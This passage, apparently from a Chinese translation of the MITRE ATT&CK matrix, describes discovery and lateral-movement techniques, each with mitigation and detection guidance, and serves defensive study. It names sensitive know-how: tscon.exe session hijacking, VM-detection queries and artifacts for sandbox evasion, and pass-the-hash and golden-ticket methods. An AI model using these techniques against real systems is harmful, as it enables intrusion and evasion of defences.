获取此信息的示例工具和命令包括 Net 的 ping 或 net view。`C:\Windows\System32\Drivers\etc\hosts` 文件内容有助于深入了解系统上现有的主机名到 IP 的映射。

### Mac

Mac 系统中特有的 bonjour 协议用于在同一广播域中发现其他 Mac 系统。诸如 ping 之类的实用程序可用于收集远程系统相关信息。`/etc/hosts` 文件内容有助于深入了解系统上现有的主机名到 IP 的映射。

### Linux

诸如 ping 之类的实用程序可用于收集远程系统相关信息。`/etc/hosts` 文件内容有助于深入了解系统上现有的主机名到 IP 的映射。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

与合法远程系统发现相关的正常、良性系统和网络事件可能不常见，具体取决于环境及其使用方式。监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.15 安全软件发现

编号：T1063

技术：发现

平台：macOS，Windows

所需权限：用户，管理员，系统

数据源：文件监控，进程监控，进程命令行参数

版本：2.0

攻击者可能会尝试获取系统上安装的安全软件、配置、防御工具和传感器列表。这可能还包括本地防火墙规则、防病毒等相关信息。早期远程访问工具可能内置了相关检查。

### Windows

可以用来获取安全软件信息的示例命令是 netsh，Reg 的 `reg query`，cmd 的 `dir`，以及 Tasklist。发现行为的其他指示信息可能更具体地取决于攻击者正在寻找的软件或安全系统的类型。

### Mac

MacOS 恶意软件对 LittleSnitch 和 KnockKnock 软件的检查已变得越来越普遍。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.16 系统信息发现

编号：T1082

技术：发现

平台：Linux，macOS，Windows

所需权限：用户

数据源：进程监控，进程命令行参数

CAPEC 编号：CAPEC-311

版本：1.0

攻击者可能会尝试获取操作系统及硬件相关的详细信息，包括版本、补丁、修补程序、服务包和架构。

### Windows

获取此信息的示例命令和实用程序包括 cmd 的 `ver`，Systeminfo 和 `dir`（用于基于当前文件和目录识别信息）。

### Mac

Mac 系统中，`systemsetup` 命令可以列出系统的详细分解信息，但执行此命令需要管理权限。此外，`system_profiler` 命令可以非常详细地分解配置、防火墙规则、已安装的卷、硬件以及许多其他内容，执行此命令不需要提升权限。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.17 系统网络配置发现

编号：T1016

技术：发现

平台：Linux，macOS，Windows

所需权限：用户

数据源：进程监控，进程命令行参数

CAPEC 编号：CAPEC-309

版本：1.0

攻击者可能会查找他们所访问系统的详细网络配置和设置信息，或通过远程系统信息发现技术来查找。存在几个可用于收集此信息的操作系统管理实用程序，包括 Arp，ipconfig / ifconfig，nbtstat 和 route。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 7.18 系统网络连接发现

编号：T1049

技术：发现

平台：Linux，macOS，Windows

所需权限：用户，管理员

数据源：进程监控，进程命令行参数

版本：1.0

攻击者可能会尝试通过查询网络上的信息来获取他们所入侵系统或远程系统发起的网络连接列表。

### Windows

获取此信息的实用程序和命令包括 Net 的 netstat，net use 和 net session。

### Mac and Linux

Mac 和 Linux 系统中，`netstat` 和 `lsof` 命令可用于列出当前连接。`who -a` 和 `w` 命令可用于显示当前登录的用户，作用类似于 net session。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 7.19 系统所有者/用户发现

编号：T1033

技术：发现

平台：Linux，macOS，Windows

所需权限：用户，管理员

数据源：文件监控，进程监控，进程命令行参数

CAPEC 编号：CAPEC-577

| 版本：1.0 |
| --- |

### Windows

攻击者可能会尝试识别主要用户、当前登录的用户、常常使用系统的一组用户，或者某个用户是否正在积极使用该系统。他们可以用不同方法来做到这一点，比如检索账号用户名或凭据导出。攻击者也可能会使用其他发现技术以多种不同方式收集信息，因为用户和用户名详细信息在整个系统中都很普遍，并且这些信息包括运行进程的所有权、文件/目录的所有权、会话信息和系统日志。

### Mac

Mac 系统中，`users`，`w` 和 `who` 命令可用来识别当前登录用户。

### Linux

Linux 系统中，`w` 和 `who` 命令可用来识别当前登录用户。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.20 系统服务发现

| 编号：T1007 |
| --- |
| 技术：发现 |
| 平台：Windows |
| 所需权限：用户，管理员，系统 |
| 数据源：进程监控，进程命令行参数 |
| CAPEC 编号：CAPEC-574 |
| 版本：1.0 |

攻击者可能会尝试获取已注册服务的相关信息。操作系统实用程序 Tasklist 的 sc 和 tasklist /svc 命令以及 Net 的 net start 命令可用于获取服务信息。但是攻击者也可能会使用其他工具来获取服务信息。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.21 系统时间发现

编号：T1124

技术：发现

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数，API 监控

版本：1.0

系统时间由 Windows 服务设置并保存在域内，用来维护企业网络内系统和服务之间的时间同步。

攻击者可能会从本地或远程系统收集系统时间和/或时区信息。可以通过多种方式来收集此信息，例如在 Windows 上使用 Net 命令 `net time \hostname` 来收集远程系统上的系统时间信息。还可以从当前系统时间推断被攻击对象的时区，或使用 `w32tm /tz` 命令收集被攻击对象的时区信息。该信息可能对执行其他技术很有用，例如通过计划任务技术来执行文件，或基于时区来发现位置信息从而锁定攻击目标。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

命令行界面监控可能会有助于检测 net.exe 实例或其他用于收集系统时间或时区信息的命令行实用程序。检测用于收集此信息的 API 调用可能不太有用，因为合法软件也可能会频繁调用它们。

# 7.22 虚拟化/沙箱逃逸

编号： T1497

技术： 防御逃逸，发现

平台： Windows

数据源：进程监控，进程命令行参数

绕过的防御： 杀毒软件，主机司法分析，基于签名检测，静态文件分析

贡献者: Sunny Neo

版本： 1.0

攻击者可能会检查是否存在虚拟机环境 （VME） 或沙盒，以避免对工和行为可能的检测。如果攻击者检测到 VME，他们可能会更改其恶意软件以隐藏植入物的核心功能或脱离受害者。在丢弃辅助或附加负载之前，它们还可以搜索 VME 项目。

攻击者可以使用包括安全软件发现在内的多种方法，通过搜索安全监视工具（例如 Sysinternals、Wireshark 等）来实现虚拟化/沙盒规避，以帮助确定它是否是分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环，以避免在临时沙盒中操作。

## 虚拟机环境组件发现

攻击者可以使用 Windows 管理规范、PowerShell、Systeminfo 和注册表查询等实用程序来获取系统信息和搜索 VME 项目。攻击者可能会在内存、进程、文件系统和/或注册表中搜索 VME 组件。攻击者可以使用脚本将这些检查合并到一个脚本中，然后如果程序确定系统为虚拟环境，则退出程序。此外，在 VMWare 等应用程序中，对手可以使用特殊的 I/O 端口发送命令和接收输出。攻击者也可以检查驱动器大小。例如，可以使用 Win32 设备 IO 控制功能来完成此操作。

注册表中的 VME 工件示例

- `HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions`
- `HKLM\HARDWARE\Description\System\"SystemBiosVersion";"VMWARE"`
- `HKLM\HARDWARE\ACPI\DSDT\BOX_`

系统上的 VME 文件和 DLL 示例

- `WINDOWS\system32\drivers\vmmouse.sys`
- `WINDOWS\system32\vboxhook.dll`
- `Windows\system32\vboxdisp.dll`

常见检查可以枚举运行这些应用程序独有的服务、系统上安装的程序、与虚拟机应用程序相关的字符串的制造商/产品字段以及特定于 VME 的硬件/处理器说明。

### 用户行为发现

攻击者可能会在主机上搜索用户行为（例如，浏览器历史记录、缓存、书签、主目录中的文件数等），以确保是真实环境。他们可以通过用户交互和数字签名来检测此类信息。他们可能会有恶意软件检查鼠标单击的速度和频率，以确定它是否是沙盒环境。在激活恶意代码之前，其他方法可能依赖于与系统的特定用户交互。示例包括等待文档关闭，然后再激活宏，以及等待用户双击嵌入的图像以激活。

### 虚拟硬件指纹发现

攻击者可能通过会检查机箱风扇和系统温度来收集表明是否是虚拟环境的证据。攻击者可能会利用一条 WMI 查询`$q = "Select * from Win32_Fan" Get-WmiObject -Query $q`进行一次 CPU 检查。如果这条 WMI 查询语句返回结果元素大于 0，这可能会告知他们此机器是一个物理机器。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

### 检测

虚拟化、沙盒和相关发现技术可能发生在操作的第一步中，但也可能在整个过程中发生，因为攻击者正在学习环境。数据和事件不应孤立地看待，而应作为行为链的一部分，根据获得的信息，可能导致其他活动，如横向移动。依赖于攻击者所需的实现和监视，检测与虚拟化和沙盒标识相关的操作可能很困难。监视正在生成的可疑进程，这些进程收集各种系统信息或执行其他形式的发现，尤其是在短时间内，可能有助于检测。

# 8. 横向移动

## 8.1 AppScript

编号: T1155

技术： 执行，横向移动

平台： macOS

所需权限： 普通用户

数据源： API 监控，系统调用，进程监控，进程命令行参数

支持远程: 是

版本： 1.0

MacOS 和 OS X 的应用程序在进程间通信时相互发送 Apple 事件消息，用 AppScript 实现的脚本可以很容易的为本地或远程 IPC 而发送此类消息。Osascript 可以执行 AppScript 或其它符合开放脚本架构(OSA)语言的脚本。通过 osalang 程序可以获取系统安装的 OSA 语言列表。Apple 事件消息可被作为此类脚本的一部分发送，也可被独立发送。此类事件消息可用于定位打开的窗口，触发按键，并以本地或远程的方式和任何运行中的应用程序交互。

恶意程序使用该机制可以利用已打开的 ssh 连接，横向移动到其它机器，甚至给用户展示一个伪造的对话框。此类事件不能启动位于其它机器的应用程序（虽然它可以启动本地程序），但是它们可以和远程已在运行的程序交互。由于是脚本语言，它可以被利用来触发其它更常见的技术：如通过 python 的反弹 shell。通过命令行执行 osa 脚本： `osascript /path/to/script` 或者 `osascript -e "script here"`.可以启动一个脚本运行。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 要求所有的 AppleScript 在执行前都被可信的开发者 ID 签名，这可以阻止无签名的 AppleScript 执行。此举措和 Gatekeeper 审查.app 文件的目的类似。 |

检测

监控系统中其它疑似行为的机制可用于监控通过 osascript 执行 AppleScript。

# 8.2 应用部署软件

编号： T1017

技术： 横向移动

平台： Linux, macOS, Windows

系统要求： 应用程序部署软件访问权（EPO，HPCA，Altiris 等）

数据源： 文件监控，进程使用网络，进程监控

CAPEC 编号： CAPEC-187

版本： 1.0

攻击者可以使用企业管理员设置的应用程序部署系统将恶意软件部署到处于同一个网络的系统中去。此操作所需的权限因系统配置而异; 直接访问部署服务器可能需要本地凭据，或者可能需要特定的域凭据。但是，系统可能需要管理帐户才能登录或执行软件部署。

访问网络范围或企业范围的软件部署系统使攻击者能够在连接到此类系统的所有系统上执行远程代码。访问可用于横向移动到各个系统，收集信息或产生特定效果，例如擦除所有端点上的硬盘驱动器。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 如果可以将应用程序部署系统配置为仅部署已签名的二进制文件，则确保受信任的签名证书不与应用程序部署系统位于同一位置，而是位于无法远程访问或远程访问受到严格控制的系统上。 |
| 多因素身份验证 | 对与应用程序部署软件一起使用的帐户使用多因素身份验证。 |
| 网络分段 | 通过使用防火墙，帐户权限分离，组策略和多因素身份验证，确保关键网络系统之间的正确的系统和访问隔离。 |
| 特权账户管理 | 仅向有限数量的授权管理员授予对应用程序部署系统的访问权限。 验证可用于访问部署系统的帐户凭据是唯一的，并且不会在整个企业网络中使用。 |
| 更新软件 | 定期修补部署系统，以防止潜在的通过漏洞利用访问系统后进行权限升级。 |

## 检测

监视辅助系统的应用程序部署。定期执行应用程序部署，以便不规则的部署活动脱颖而出。监控与已知良好软件无关的进程活动。 监视部署系统上的帐户登录行为。

# 8.3 分布式组件对象模型

编号： T1175

技术： 横向移动

平台： Windows

所需权限： 管理员，系统

数据源： API 监控，认证日志，动态链接库监控，网络抓包，进程监控，Windows 注册表，Windows 事件日志

版本： 1.0

Windows 分布式组件对象模型（DCOM）是透明的中间件，它使用远程过程调用（RPC）技术将组件对象模型（COM）的功能扩展到本地计算机之外。 COM 是 Windows 应用程序编程接口（API）的一个组件，它支持软件对象之间的交互。通过 COM，客户端对象可以调用服务器对象的方法，这些方法通常是动态链接库（DLL）或可执行文件（EXE）。

与本地和远程服务器 COM 对象交互的权限由注册表中的访问控制列表（ACL）指定。默认情况下，只有管理员可以通过 DCOM 远程激活和启动 COM 对象。

对手可以使用 DCOM 进行横向移动。通过 DCOM，在适当特权用户的上下文中运行的攻击者可以通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程获取任意甚至直接的 shellcode 执行。DCOM 还可以在现有文档中执行宏，也可以直接通过 COM 创建的 Microsoft Office 应用程序实例调用动态数据交换（DDE），从而避免了对恶意文档的需求。

DCOM 还可能会暴露可以在对手活动链的其他区域（例如权限提升和持久性）中利用的功能。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用程序隔离和沙盒 | 确保启用所有 COM 警报和受保护视图 |
| 禁用或删除功能或程序 | 考虑通过 Dcomcnfg.exe 禁用 DCOM。 |
| 网络分段 | 启用 Windows 防火墙，默认情况下会阻止 DCOM 实例化。 |
| 特权账户管理 | 修改与单个 COM 应用程序的进程范围安全性相关联的 `HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ AppID \ {{AppID_GUID}}`中的注册表设置（直接或使用 Dcomcnfg.exe）。 |

| | |
|---|---|
| | 修改与所有未设置其自身进程范围安全性的 COM 应用程序的系统范围安全性默认值相关联的 `HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Ole` 中的注册表设置（直接或使用 Dcomcnfg.exe）。 |

检测

监视 COM 对象加载 DLL 和通常与应用程序无关的其他模块。

监视与 COM 对象关联的进程的生成，尤其是那些与当前登录的用户不同的用户调用的进程。

监控分布式计算环境/远程过程调用（DCE / RPC）流量的流入。

# 8.4 远程服务利用

编号：T1210

技术：横向移动

平台：Linux，Windows，macOS

系统要求：未打补丁的软件或其他易受攻击的目标。根据目标和目的，系统和可漏洞利用的服务可从内部网络远程访问。

所需权限：用户

数据源：Windows 错误报告，进程监控，文件监控

版本：1.0

软件漏洞攻击指的是攻击者利用程序、服务或操作系统软件或内核本身中的编程错误执行恶意代码。入侵后对远程服务实施漏洞攻击的目的往往是横向移动从而访问远程系统。

攻击者可能需要确定远程系统是否处于易受攻击状态，方法是通过网络服务扫描技术或其它发现方法来寻找可以在网络中部署的常见易受攻击软件，查看是否有没安装的漏洞补丁，或者查看是否有可用于检测远程漏洞或本身包含远程漏洞的安全软件。对于横向移动来说服务器的利用价值可能很高，但是如果端点系统提供了优势或允许访问其他资源，则端点系统也可能处于风险之中。

常用服务（例如 SMB 和 RDP）以及可能会在内部网络和 web 服务器服务中使用的应用（例如 MySQL）存在几个众所周知的漏洞。

攻击者的权限也可能会在横向移动后获得提升，具体取决于易受攻击远程服务的权限级别。

缓解

| **缓解措施** | **说明** |
|---|---|
| 应用隔离和沙箱 | 使用沙箱来阻止攻击者利用未发现或未修补的漏洞来实施攻击操作。也可通过其他类型的虚拟化和应用微分段来减轻某些类型漏洞攻击的影响。但在这些系 |

| | |
|---|---|
| | 统中仍可能存在其他漏洞和缺陷攻击风险。 |
| 特性或程序禁用或移除 | 将可用服务数量控制在最小范围，只允许必要的服务可用。 |
| 漏洞利用防护 | 可用安全应用，例如 Windows Defender 漏洞利用防护（WDEG）和增强缓和体验工具包（EMET），来查找漏洞攻击行为，从而缓解某些漏洞攻击行为的影响。也可通过控制流完整性检查来识别和阻止软件攻击。许多保护措施依赖于体系结构和目标应用二进制文件的兼容性，可能不适用于所有目标软件或服务。 |
| 网络分区 | 适当地细分网络和系统，减少对关键系统和服务的访问。 |
| 特权账号管理 | 将服务账号的权限和访问限制在最小范围，尽量降低漏洞攻击的影响。 |
| 威胁情报程序 | 开发一个强大的网络威胁情报能力，用来确定哪些类型和级别的威胁可能会针对特定组织实施软件攻击和零日漏洞攻击。 |
| 软件升级 | 对内部企业端点和服务器通过补丁管理来定期更新软件。 |
| 漏洞扫描 | 定期扫描内部网络上的可用服务，识别新服务以及可能易受攻击的服务。 |

### 检测

软件利用检测可能很困难，具体取决于可用的工具。软件攻击可能并不会总是成功，或者可能导致被攻击的进程变得不稳定或崩溃。还要在端点系统上查找能表明攻击成功的行为，例如进程的异常行为，包括写入磁盘的可疑文件，通过进程插入来试图掩盖执行的证据，发现的证据，以及表明有其它工具传输到系统的异常网络流量。

## 8.5 登录脚本

编号：T1037

技术：横向移动，持久化

平台：macOS，Windows

系统要求：对系统或域登录脚本的写访问

数据源：文件监控，进程监控

CAPEC 编号：CAPEC-564

版本：1.0

Windows 允许在特定用户或用户组登录系统时运行登录脚本。脚本可用于执行管理功能，这些功能通常可以执行其他程序或向内部日志服务器发送信息。

如果攻击者可以访问这些登录脚本，他们可能会在脚本中插入其他代码，以便在用户登录时执行他们的工具。如果使用的是本地脚本，通过插入代码他们可以在单个系统上保持持久

性；如果脚本存储在中央服务器上并推送到多个系统，通过插入代码他们可以在网络中横向移动。根据登录脚本的访问配置，操作中可能需要本地凭据或管理员账号。

只要特定用户登录或退出系统，Mac 就允许以 root 用户运行登录和注销 Hook。用户登录时，登录 Hook 告诉 Mac OS X 执行某个脚本。但与启动项不同的是，登录 Hook 以 root 用户执行。一次只能有一个登录 Hook。如果攻击者可以访问这些脚本，他们可以在脚本中插入其他代码，以便在用户登录时执行他们的工具。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 将登录脚本的写访问权限限制为特定管理员。 |

检测

监控登录脚本来查看是否有异常用户的访问或异常时间的访问。查找由正常管理职责之外的异常账号添加或修改的文件。

## 8.6 哈希传递

编号：T1075

技术：横向移动

平台：Windows

系统要求：需要 Microsoft Windows 作为目标系统

数据源：认证日志

贡献者：Travis Smith，Tripwire

版本：1.0

认证哈希传递（PtH）是一种不访问用户明文密码而对用户进行身份认证的方法。这种方法绕过需要明文密码的步骤，直接用密码哈希来进行身份认证。在使用 PtH 技术时，可通过凭据访问技术获得正在使用账号的有效密码哈希。PtH 使用捕捉的哈希来认证该用户身份。一旦身份认证通过，PtH 可用于在本地或远程系统上执行操作。

已安装 KB2871997 补丁的 Windows 7 及更高版本需要有效域用户凭据或 RID 500 管理员哈希。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 确保内置和创建的本地管理员账号有复杂且唯一的密码。 |

| | |
|---|---|
| 特权账号管理 | 限制跨系统的凭据重叠以防止攻击者盗取凭据并降低攻击者在系统之间横向移动的能力。 |
| 软件升级 | 在 Windows 7 和更高版本系统中安装 KB2871997 补丁，限制本地管理员群组中账号的默认访问。 |
| 用户账号控制 | 启用 PtH 缓解措施来将 UAC 限制应用到用于登录网络的本地账号。关联的注册表项位于 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy`。通过 GPO 来设置，路径如下：计算机配置 > [策略] > 管理模板 > SCM：认证哈希传递缓解：应用 UAC 限制到用于登录网络的本地账号。 |
| 用户账号管理 | 不允许域用户位于多个系统上的本地管理员群组中。 |

### 检测

审核所有登录和凭据使用事件，并检查是否存在差异。与其他可疑活动（例如，编写和执行二进制文件）相关的异常远程登录可能表示有恶意活动。与域登录不相关且不是匿名登录的 NTLM LogonType 3 身份认证是可疑的。

## 8.7 票据传递

编号：T1097

技术：横向移动

平台：Windows

系统要求：需要微软 Windows 作为目标系统并启用 Kerberos 身份认证。

数据源：认证日志

贡献者：Ryan Becwar；Vincent Le Toux

版本：1.0

票据传递攻击（PtT）是一种不访问账号密码而使用 Kerberos 凭据对用户进行身份认证的方法。Kerberos 身份认证可以是横向移动到远程系统的第一步。

在使用 PtT 技术时，可通过凭据导出技术获取有效账号的 Kerberos 票据。PtT 可能会获取到用户的服务票据或票据授予票据（TGT），具体取决于访问级别。服务票据允许访问特定资源，而 TGT 可用于从票据授予服务（TGS）请求服务票据，用来访问用户有权访问的任何资源。

PtT 技术可以为使用 Kerberos 作为身份认证机制的服务获取白银票据，并用于生成票据来访问特定资源和承载该资源的系统（例如，SharePoint）。

PtT 技术还可以使用密钥分发服务账号 KRBTGT 帐户 NTLM 哈希来获得域的黄金票据，从而为活动目录中的任一账号生成 TGT。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 活动目录配置 | 为了遏制先前生成的黄金票据的影响，请两次重置内置的 KRBTGT 账号密码，这会使得用 KRBTGT 哈希创建的任何现有黄金票据以及由此生成的其他 Kerberos 票据均无效。 |
| 密码策略 | 确保本地管理员账号有复杂且唯一的密码。 |
| 特权账号管理 | 将域管理员账号权限限制给域控制器和受限服务器。委派其他管理功能来区分账号。 |
| 用户账号管理 | 不允许用户成为多个系统的本地管理员。 |

检测

审核所有 Kerberos 身份认证和凭据使用事件，并检查是否存在差异。与其他可疑活动（例如，编写和执行二进制文件）相关的异常远程身份认证事件可能表示有恶意活动。

在两次重置 KRBTGT 密码后使用黄金票据时，在域控制器上会生成事件 4769。状态代码 0x1F 表示由于“已解密字段完整性检查失败”而导致操作失败，也即表示先前无效的黄金票据被人滥用。

# 8.8 远程桌面协议

编号：T1076

技术：横向移动

平台：Windows

系统要求：启用了 RDP 服务，且有远程桌面用户群组中的账号。

所需权限：远程桌面用户，用户

数据源：认证日志，Netflow/Enclave 技术网络流分析，进程监控

CAPEC 编号：CAPEC-555

贡献者：Matthew Demaske，Adaptforward

版本：1.0

远程桌面是操作系统中的常见功能。此功能允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。微软将其对远程桌面协议（RDP）的实现称为远程桌面服务（RDS）。还有其他实现和第三方工具，提供类似于 RDS 的图形访问远程服务。

如果启用了服务并允许使用已知凭据来访问账号，则攻击者可能会通过 RDP/RDS 连接到远程系统以扩展访问权限。攻击者可能会使用凭据访问技术来获取凭据并与 RDP 一起使用。攻击者还可能会结合使用 RDP 和辅助功能技术来实现持久性。

攻击者还可能实施 RDP 会话劫持，包括窃取合法用户的远程会话。通常，当其他人试图窃取用户会话并收到要求输入问题的提示时，会通知用户。拥有系统权限并使用终端服务控制台（`c:\windows\system32\tscon.exe [session number to be stolen]`）的攻击者可以劫持会话，而无需凭据或提示用户。他们可以在远程或本地劫持活动的或已断连的会话。窃取域管理员或更高权限账号的会话可能会导致远程系统发现和权限升级。 所有这些都可以通过使用 Windows 原生命令来完成，但是它也已作为一项功能添加到了 RedSnarf 中。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 定期审核“远程桌面用户群组”成员身份。从“远程桌面用户群组”中删除不必要的账号和群组。 |
| 特性或程序禁用或移除 | 如果不需要，请禁用 RDP 服务。 |
| 网络资源访问限制 | 使用远程桌面网关。 |
| 多因子认证 | 对远程登录使用多因子身份认证。 |
| 网络分区 | 不允许从 Internet 访问 RDP。启用防火墙规则来阻止网络内安全区域之间的 RDP 通信。 |
| 操作系统配置 | 更改 GPO 设置来定义更短的超时会话以及任何单个会话可以处于活动状态的最长时间。更改 GPO 设置来指定已断连会话在 RD 会话主机服务器上保持活动状态的最长时间。 |
| 特权账号管理 | 考虑从允许通过 RDP 登录的群组列表中删除本地管理员群组。 |
| 用户账号管理 | 如果需要远程访问，请限制远程用户权限。 |

### 检测

RDP 的使用可能是合法的，具体取决于网络环境及其使用方式。其他因素，例如远程登录后的访问模式和活动，可能表示有 RDP 相关的可疑或恶意行为。监控是否有用户账号登录他们通常不会访问的系统，或监控在相对较短时间内登录多个系统所用的访问模式。

另外，监控 `tscon.exe` 进程的使用，并监控使用 `cmd.exe /k` 或 `cmd.exe /c` 参数来防止 RDP 会话劫持的服务创建活动。

# 8.9 远程文件复制

编号：T1105

技术：命令与控制，横向移动

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控，网络抓包，网络进程使用，Netflow/Enclave 技术网络流分析，网络协议分析，进程监控

是否需要网络：是

版本：1.0

攻击者可能会将文件从一个系统复制到另外一个系统，以便在操作过程中使用他们自己的工具或文件。攻击者可能会通过命令与控制通道或者通过其它协议工具（如 FTP）从外部他们自己控制的系统中拷贝文件，从而将他们的工具放置到所攻击的网络中。 攻击者还可能会使用 Mac 或 Linux 自带工具 scp，rsync 和 sftp 等来复制文件。

攻击者还可能会通过远程执行（使用系统固有的文件共享协议，比如 SMB 文件共享）或已认证的连接（使用 Windows 管理员共享或远程桌面协议）在内部已攻击系统之间横向复制文件，从而支持横向移动。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量或异常数据传输（通过已知工具和协议，如 FTP）的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定混淆技术，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C2 签名，或者构建协议来逃避常见防御工具的检测。 |

## 检测

监控文件创建和通过 SMB 在网络内传输的文件。与外网连接的异常进程在系统上创建文件是可疑的。使用通常不会使用的实用程序（例如 FTP）也可能是可疑的。

分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。

如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 8.10 远程服务

编号：T1021

技术：横向移动

平台：Linux，macOS，Windows

系统要求：有连接及有效凭据的活动远程服务

数据源：认证日志

CAPEC 编号：CAPEC-555

版本：1.0

攻击者可能会使用有效账号登录专门用于接受远程连接的服务，例如 telnet，SSH 和 VNC。然后，攻击者可能会以登录用户身份执行操作。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 多因子认证 | 尽可能在远程服务登录上使用多因子身份认证。 |
| 用户账号管理 | 限制可能使用远程服务的账号。限制有较高攻击风险账号的权限；例如，配置 SSH 使得用户只能运行特定程序。 |

检测

找出远程服务相关的登录活动与异常行为或其他恶意或可疑活动之间的关系。攻击者可能需要在尝试横向移动之前通过发现技术来了解环境和系统之间的关系。

# 8.11 通过移动存储进行复制

编号: T1091

技术： 横向移动，初始访问

平台： Windows

系统要求： 允许移动存储设备，启用自动执行或者存在允许代码执行的漏洞

所需权限：用户

数据源：文件监控，数据泄漏防护

版本： 1.0

攻击者可以通过拷贝恶意软件到移动存储介质然后插入到系统上并利用 autorun 功能获得执行权限，从而进入到系统（可能是没有接入到网络的系统）。在横向移动的情况下，可能会通过篡改移动存储介质上的可执行文件或者拷贝恶意文件并重命名为看似合法的文件从而欺骗使用者在隔离的系统上执行。在初始访问的情况下，可能会使用手工操作移动存储介质，或者篡改移动存储介质格式化系统，或者修改固件等方法来实现。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁用或删除相关功能或程序 | 非必要情况下，禁止启用 Autorun 功能。非业务需要的情况下，在组织规章层面限制或者禁止使用移动存储介质。 |
| 限制硬件设备安装 | 在特定网络内限制使用 USB 设备以及移动存储介质。 |

检测

监控移动存储介质上的文件访问。检测移动设备插入后从移动设备上执行启动的进程。在这种情况下如果使用远程访问工具来横向移动，那么会发生一系列后续动作，如打开连接到 C2（命令与控制）的网络连接，或者嗅探系统和网络。

## 8.12 共享 Webroot

编号： T1051

技术： 横向移动

平台： Windows

